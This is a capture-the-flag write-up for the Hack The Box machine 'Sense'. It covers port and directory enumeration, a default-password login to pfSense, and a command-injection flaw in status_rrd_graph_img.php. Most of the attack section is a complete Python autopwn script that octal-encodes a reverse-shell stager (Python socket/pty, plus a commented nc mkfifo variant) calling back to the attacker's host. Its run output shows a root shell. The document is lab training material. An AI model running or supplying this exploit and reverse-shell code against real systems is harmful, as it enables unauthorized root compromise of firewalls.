Sense write-up
Ανάλυση του Sense
Enumeration
Port scanning
We scan the full range of TCP ports using masscan:
$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.60
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-03-22 09:51:28 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 443/tcp on 10.10.10.60
Discovered open port 80/tcp on 10.10.10.60
We found TCP ports 80 and 443 open. Let’s explore them using nmap:
$ sudo nmap -A -p80,443 10.10.10.60
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-22 11:54 EET
Nmap scan report for 10.10.10.60
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): OpenBSD 4.X (93%), Comau embedded (92%), Linux 2.6.X (89%)
OS CPE: cpe:/o:openbsd:openbsd:4.0 cpe:/o:linux:linux_kernel:2.6.29
Aggressive OS guesses: OpenBSD 4.0 (93%), Comau C4G robot control unit (92%), Linux 2.6.29 (89%), OpenBSD 4.3 (85%)
No exact OS matches for host (test conditions non-ideal).
Brute forcing directories and files
There are multiple vulnerabilities for PfSense but we need an authenticated user to exploit most of them. Maybe we can find some credentials if we search for notes in text files:
$ dirsearch -u https://10.10.10.60 -w /opt/DirBuster/directory-list-2.3-medium.txt -f -e txt
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: txt | Threads: 10 | Wordlist size: 441041
Target: https://10.10.10.60
[09:42:09] Starting:
[09:42:45] 200 - 271B - /changelog.txt
[09:43:42] 200 - 7KB - /tree/
[09:45:52] 302 - 0B - /installer/ -> installer.php
[10:51:23] 200 - 106B - /system-users.txt
Finding credentials
Let’s see the contents of https://10.10.10.60/system-users.txt:
####Support ticket###
Please create the following user
username: Rohit
password: company defaults
Let’s google-search the default password for PfSense:
https://doc.pfsense.org/index.php/What_is_the_default_username_and_password
The default credentials for a pfSense firewall are:
Username: admin
Password: pfsense
https://doc.pfsense.org/index.php/Installing_pfSense#pfSense_Default_Configuration
Default credentials are set to a username of admin with password pfsense
Therefore our credentials are rohit:pfsense.
Getting root
Now, let’s search for PfSense vulnerabilities:
$ searchsploit pfsense -w
--------------------------------------------------------------------------------
Exploit Title
--------------------------------------------------------------------------------
pfSense - 'interfaces.php?if' Cross-Site Scripting
https://www.exploit-db.com/exploits/35071/
pfSense - 'pkg.php?xml' Cross-Site Scripting
https://www.exploit-db.com/exploits/35069/
pfSense - 'pkg_edit.php?id' Cross-Site Scripting
https://www.exploit-db.com/exploits/35068/
pfSense - 'status_graph.php?if' Cross-Site Scripting
https://www.exploit-db.com/exploits/35070/
pfSense - Authenticated Group Member Remote Command Execution (Metasploit)
https://www.exploit-db.com/exploits/43193/
pfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities
https://www.exploit-db.com/exploits/34985/
pfSense 2.0.1 - Cross-Site Scripting / Cross-Site Request Forgery / RCE
https://www.exploit-db.com/exploits/23901/
pfSense 2.1 build 20130911-1816 - Directory Traversal
https://www.exploit-db.com/exploits/31263/
pfSense 2.2 - Multiple Vulnerabilities
https://www.exploit-db.com/exploits/36506/
pfSense 2.2.5 - Directory Traversal
https://www.exploit-db.com/exploits/39038/
pfSense 2.3.1_1 - Command Execution
https://www.exploit-db.com/exploits/43128/
pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery
https://www.exploit-db.com/exploits/41501/
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities
https://www.exploit-db.com/exploits/39709/
pfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery
https://www.exploit-db.com/exploits/39306/
pfSense Firewall 2.2.6 - Services Cross-Site Request Forgery
https://www.exploit-db.com/exploits/39695/
pfSense UTM Platform 2.0.1 - Cross-Site Scripting
https://www.exploit-db.com/exploits/24439/
--------------------------------------------------------------------------------
Check also this link: https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/
Let’s see https://www.exploit-db.com/exploits/39709/:
The status_rrd_graph_img.php page is vulnerable to command injection via the graph GET parameter. A non-administrative authenticated attacker having access privileges to the graph status functionality can inject arbitrary operating system commands and execute them in the context of the root user. Although input validation is performed on the graph parameter through a regular expression filter, the pipe character is not removed. Octal characters sequences can be used to encode a payload, bypass the filter for illegal characters, and create a PHP file to download and execute a malicious file (i.e. reverse shell) from a remote attacker controlled host.
GET /status_rrd_graph_img.php?database=-throughput.rrd&graph=file|command|echo%20 HTTP/1.1
GET /status_rrd_graph_img.php?database=-throughput.rrd&graph=file|printf%20OCTET_ENCODED_SHELLCODE|sh|echo%20 HTTP/1.1
Unfortunately, the exploit 39709 is badly written and very messy as it mixes HTML, Javascript, PHP and Python for no reason. So, I wrote my own exploitation script in Python.
Autopwn script
Here is my script: https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/Sense/autopwn_sense.py
Don’t forget to set LHOST appropriately.
#!/usr/bin/env python2
# Author: Alamot (Antonios Tsolis)
import re
import sys
import time
from pwn import *
import signal, thread
import requests, urllib3
signal.signal(signal.SIGINT, signal.SIG_DFL)
DEBUG = False
RHOST="10.10.10.60"
RPORT=443
LHOST="10.10.15.128"
LPORT=60001
if DEBUG:
context.log_level = 'debug'
else:
context.log_level = 'info'
def send_ptyshell_payload():
# This payload works too
# stager = "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc " + str(LHOST) + " " + str(LPORT) + " > /tmp/f"
stager = "python -c \"import os, pty, socket; lhost = '"+ str(LHOST) + "'; lport = " + str(LPORT) + "; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv('HISTFILE','/dev/null'); pty.spawn('/bin/sh'); s.close(); exit()\""
encoded_stager = ""
for c in stager:
encoded_stager += "\\\\%03d" %(int(oct(ord(c))))
time.sleep(1)
client = None
try:
urllib3.disable_warnings()
client = requests.session()
client.verify = False
client.keep_alive = False
# Retrieve the CSRF token first
p1=log.progress("Connecting to get csrf token")
response = client.get("https://"+str(RHOST)+":"+str(RPORT), timeout=5)
if response.status_code != 200:
p1.failure("Status "+str(response.status_code))
sys.exit()
csrf = re.search('csrfMagicToken\s*=\s*"(sid:\w+,\d+)', response.text).group(1)
p1.success("csrfMagicToken = " + csrf)
# Login
p2=log.progress("Logging in")
data={"__csrf_magic":csrf, "usernamefld":"rohit", "passwordfld":"pfsense", "login":"Login"}
response = client.post("https://"+str(RHOST)+":"+str(RPORT)+"/index.php", data=data, timeout=5)
if response.status_code != 200:
p1.failure("Status "+str(response.status_code))
sys.exit()
p2.success("Status "+str(response.status_code))
# Send payload
p3=log.progress("Sending pty shell payload...")
try:
params={"database":"-throughput.rrd", "graph":"file|printf "+encoded_stager+"|sh|echo "}
response = client.get("https://"+str(RHOST)+":"+str(RPORT)+"/status_rrd_graph_img.php", params=params, timeout=5)
if response.status_code != 200:
p3.failure("Status "+str(response.status_code))
sys.exit()
except requests.exceptions.Timeout as e:
p3.success("OK")
except requests.exceptions.RequestException as e:
log.failure(str(e))
finally:
if client:
client.close()
log.success("Web thread exited successfully.")
try:
threading.Thread(target=send_ptyshell_payload).start()
except Exception as e:
log.error(str(e))
ptyshell = listen(LPORT, timeout=5).wait_for_connection()
if ptyshell.sock is None:
log.failure("Connection timeout.")
sys.exit()
ptyshell.interactive()
sys.exit()
Let’s run it:
$ ./autopwn_sense.py
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.60 on port 49022
[+] Connecting to get csrf token: csrfMagicToken = sid:5fcb86e278c2e4cb6b5aa5b4346218a9fb4d1647,1521716176
[+] Logging in: Status 200
[+] Sending pty shell payload...: OK
[*] Switching to interactive mode
# $ whoami
root